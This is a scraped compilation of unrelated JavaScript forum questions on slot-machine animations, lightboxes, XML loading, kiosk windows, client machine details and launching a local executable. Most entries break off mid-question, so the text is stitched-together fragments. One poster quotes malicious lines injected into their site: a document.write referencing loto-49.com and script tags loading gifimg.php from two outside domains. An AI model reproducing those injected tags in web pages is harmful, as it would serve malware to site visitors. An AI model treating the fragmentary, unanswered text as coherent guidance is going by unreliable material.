I'm trying to make a slot machine effect in JS - i had an ajax example but was far too complicated to manipulate to communicate with my server so im working from ground up.
The way ive done it is simple html and a submit button.
But i want the submit button to first create a "rolling through the images" affect like a slot machine does - then stop left to right in that order (basically like a slot machine does).
Now this is beyond what i know in JS but i then also want it to know the result of the images store them into an array and push it to my PHP so i can process it on my server.
i need a way to visually shuffle through a bunch of names and pick one at random. i found some code for a javascript slot machine and hacked at it.
the result is attached.
when you click on the logo, it's supposed to display 25 names then stop on the last one. instead, it just display undefined. i'm not exactly sure why, but i think that the spinem function can't access the array of names.
I'm kinda stuck with jQuery. I generally write code in PHP and do simple stuff with Javascript. But I need to make an effect on a module of my page.
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Is this even possible? I don't want/can't preload random content and have it hidden. I could probably do this the simple way with js. Emptying the old content and replacing it with the new random content but I need the animation. I'll keep "decoding" the documentation while waiting for a response.
I found the following code on a web site. It displays text as if it were being typed but it only does it once. I have been trying to use various functions to make the effect continuous, i.e. make the header appear as typing text, clear the text, again make the header appear as typing text, clear the text, and so on. I wish this to continue for as long as the web page is open. But I just can't get it to work.
[code] <h2 id="fly">Header</h2> <script type="text/javascript"> //Use "$" for linebreak[code]....
Since I changed hosts for my web site Ive had a few creases to iron out. I'm hoping this is the last one...
Basically on this page http://www.pauserefreshment.co.uk/go...arch_2010.html i had a really cool light box effect pulled from this site code...
Unfortunately it no longer works :-( Ive checked the file paths and cant see the problem. I'm totally foxed. The CSS and java script files look the same so I just cannot fathom why when you point over an image on this page http://www.pauserefreshment.co.uk/go...arch_2010.html the light box effect remains disabled.
I am trying to use this JQuery Loupe effect to magnify small images on mouseover, but would like to be able to click on those magnified images to open a lightbox or to link to another page, but I can't seem to make it work!!
My HTML page loads and alerts an XML document on another machine. If I request the page by machine name or localhost there is no problem. If i request by IP access denied error occurs.
I think this is because of that only the documents on same machine can be loaded. Is there any way to load xml documents from another machine?
I am writing some numerical math programs in Javascript (translating from C++) and am seeking your advice regarding machine constants.
C++ offers the <cfloatlibrary for accessing machine constants such as DBL_MIN and DBL_EPSILON. Does Javascript offer comparable values? If not, can you suggest a method (brute force or otherwise) for calculating these values myself (in Javascript)?
I have a js file embedded into additional files to make up the extension.
I want to run a single executable file, but I can't figure out what the relative path is. The path must remain relative, because the user will set the directory.
The js code like so:
runthefile: function(){
const path = "calc.exe"
var file = Components .classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile)
file.initWithPath(path) file.launch() }
However, it doesn't seem to run calc.exe no matter where I put it. Code:
i followed my first AJAX tutorial on the web: [URL]
the AJAX is working fine on the site itself, but when i download the source codes provided with the tutorial, it won't run from my machine. i checked this with several tutorials and all same. i.e. no results when run from the desktop machine.
I need to find the information about Client machine by using Javascript : Information like : How much Avaliable sapce on clinet's machine ? Need to find RAM size . Operation System. Can we have any built in Active X control to get all these values ?
I am seeking to change the color attribute in my CSS file under the ID's #realmaturesingles and #seniorpeoplemeet upon the hovering of these links. These two ID's are initialized inside an <a> tag (these are links). How can I do this with JavaScript? This is what I tried:
i want to open filedialog on client machine in javascript (in jsp page) ,Following is the code i have written but it is not working
var Frame = new java.awt.Frame(); var fd = new java.awt.FileDialog(Frame, "Browse File",java.awt.FileDialog.SAVE); fd.toFront(); fd.show(); var getDirectory = new java.awt.FileDialog(Frame); [Code]...
I want to make an extensive browser/fileupload script inspired on windows Explorer... A server side listing of the files and directories with the home directory specified in the script and a listing of the clients files. The server side part can be found on http://vegeta.evilkalah.be ... The idea now is to make it possible to upload or download (maybe drag and drop) files from on side to the other. I don't know how I best make the client side. So on this part any help is welcome...
Im having a bit of trouble with the bounce show effect from jquery ui. To see what I mean, check out my development site. Anytime you modify a part in this computer builder, the rigth side gets updated. Right now its removing and adding list items. Problem is when click items too fast, the animation doesnt finish and the next item gets bumped lower and lower.
I'm about to start a project where the application is one used on a publicly accessed machine. It could be like, say, a ticket purchasing application in a kiosk machine; or maybe touch-screen app that tells grocery shoppers which aisle has coffee, etc.
So my question is, can javascript (or some other language?) be used to open a window without any controls (toolbars, menubars, titlebars, frame, etc) so that the user can't close the application (or resize, change, etc.)?
I've written a slideshow script which loads and displays a series of >1Mb images from the local machine. Each image is loaded twice - once to get the dimensions and once to be shown on the screen, so it can be dynamically resized by another script.
This script runs without problems in Opera and Internet Explorer, no matter how many times it's executed. However, after it runs a couple dozen times in Firefox, the width and height attributes of the image start returning 0. It seems like the loading has slowed down considerably and the script starts skipping to the next line without waiting for it to finish.
I've tried adding the line while(!image.complete), which works, but invariably causes Firefox to display a message saying the script is causing Firefox to run slowly, and asking if I want to abort.
Is there a way I can flush earlier images from the cache, or somehow free up resources so the script will continue to run as quickly as it does at the start?
I need to be able to search through an xml located on my local machine with an html page. Here's the thing: this whole system (html files, xml file) will always be on my local machine. Because it's a class project it won't be on a server. So here's the scenario: I navigate to where my files are located (say C:) and I double click my index.html page and this page opens in my browser and from this page I need to be able to search my xml file which is at the same location. I've tried xmlhttprequest and it won't open the xml file I'm guessing because I don't need an http request.
Here's what I have so far: if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","C:MovieDB.xml",false); xmlhttp.send(); xmlDoc=xmlhttp.responseXML;
function searchDB() { if(!xmlDoc){ alert("error") } var keyword = $('#txtBox').val(); var searchVal = $('#basicCategory :selected').text(); var allitems = xmlDoc.getElementsByTagName("Movie"); for(var i=0;i<allitems.length;i++){ alert(allitems[i].getElementsByTagName(searchVal[0]. childNodes[0].nodeValue); } } The code doesn't make it past the xmlhttp.send() line.
On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code: <script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>
in Gmail (I've noticed it in other services too..)after you log in, progress bar appears. What does it do? Uploads all the JS(containing ajax) files into client's machine? or what?
How can Iload and parse a json file saved in our remote serverfrom my local machine? I can load and parse the copy I saved in my local machine, but I can notwork with the remote copy. The following is the code I tested:
